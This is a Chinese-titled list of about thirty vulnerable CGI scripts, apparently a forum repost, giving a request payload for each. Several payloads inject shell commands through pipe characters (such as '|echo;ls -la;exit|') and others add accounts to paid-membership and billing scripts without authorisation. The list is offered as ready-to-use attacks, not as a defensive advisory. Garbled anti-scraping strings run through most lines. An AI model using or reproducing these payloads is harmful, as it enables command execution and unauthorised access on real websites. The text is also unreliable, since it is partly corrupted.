Cgi-bin 30个漏洞＋使用方法

admin

==============================
0 {: K& t9 \2 M* n3 ]% Z
/smspass.pl
username=username&password=password
; ?- k6 S" Z* L/ F
6 X  h( A  y) g) A6 V/index.cgi
wei=ren&gen=command

" ^: d" g* d2 _. r6 V* L$ x/passmaster.cgi
( t) j) \/ W+ D( G! F; nAction=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

9 N# A- v" S3 k2 w9 f' x5 O- O/ t% h/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ R$ e& u# S- k  _9 |4 A/ccbill-local.asp
' ~) `1 X& |! A5 a. A1 u) Opost_values=username:password

* ~5 x' n0 G$ N( H/count.cgi
) X6 r8 L+ |$ D6 A( F: Rpinfile=|echo;ls -la;exit|
& O% N8 t2 Q8 L2 G1 X# \# P0 W+ p
- H3 s( w& `: e# k; u$ i/recon.cgi
* Z" s' P+ u4 r( \* S/recon.cgi?search
( m8 a" `, q! D0 w, e# f- hsearchoption=1&searchfor=|echo;ls -al;exit|
, x+ n% J1 y& b# q
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

  a: d6 C9 b" ?) Q) i/af.cgi
_browser_out=|echo;ls -la;exit;|

5 x9 B1 w9 [* u& v- n/modify.cgi
4 D! }8 l" ^1 V% D% b, @" y" X2 ]) yusername=username&password=password&expire=30
, Y2 E- m2 B: a/ j: \
6 w$ ?- K5 z% ~+ C+ @: j/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

( E, _) n% o- x' P4 Y+ i3 T/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/probecontrol.cgi
) W: u7 f1 Y, b; H0 b. \) qcommand=enable&username=username&password=password

! e- t9 Y8 w, L9 V( D- k  c$ V5 R/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
" m0 `* b+ o# V" E
/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
1 m- [4 {0 K6 Y: Hcmd=ADD&user=username&pass=password
' x) W: t0 ~8 L! t% g0 m
+ n) ]. T% z/ Y! d* |/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
0 d2 `( N. Q6 ^0 W8 {' U8 m5 tcommand=add_member&username=username(EMAIL)&password=password(DES)

0 X0 _! J0 q2 [& M& Z3 ]/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
/ a# F/ C: Q/ @% Jcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
$ o. y) L, c- g. z. yaction=ADD&seccode=seccode&login=username&password=password
9 G3 M3 |! @; `: ]3 ~$ Z
/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
4 i4 B/ [3 Y( Q4 ~" F. G8 n/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

+ ]& q) K) E. m- m) Y$ L& |# @/accountcreate.cgi
2 T. E% e- J, p& V. v; n/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
4 T5 B9 G# l, r( q, t$ t
/af.cgi
) {: A6 X/ C0 t6 I- a7 ^) Q/env.cgi
ADD+;echo;pwd;exit
$ L; a! i3 J5 T/ S! ^1 Q$ S8 S
! [% }3 A! R8 G3 _  w3 E7 m/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
5 d' V1 m/ q; G: |, I0 Gsearchoption=1&searchfor=|echo;ls%20-al;exit|
# A- H1 z! A" M: V$ q# R
; L  x& D9 R& h  p# [/add.cgi
username=username&password=password&expire=30

==============================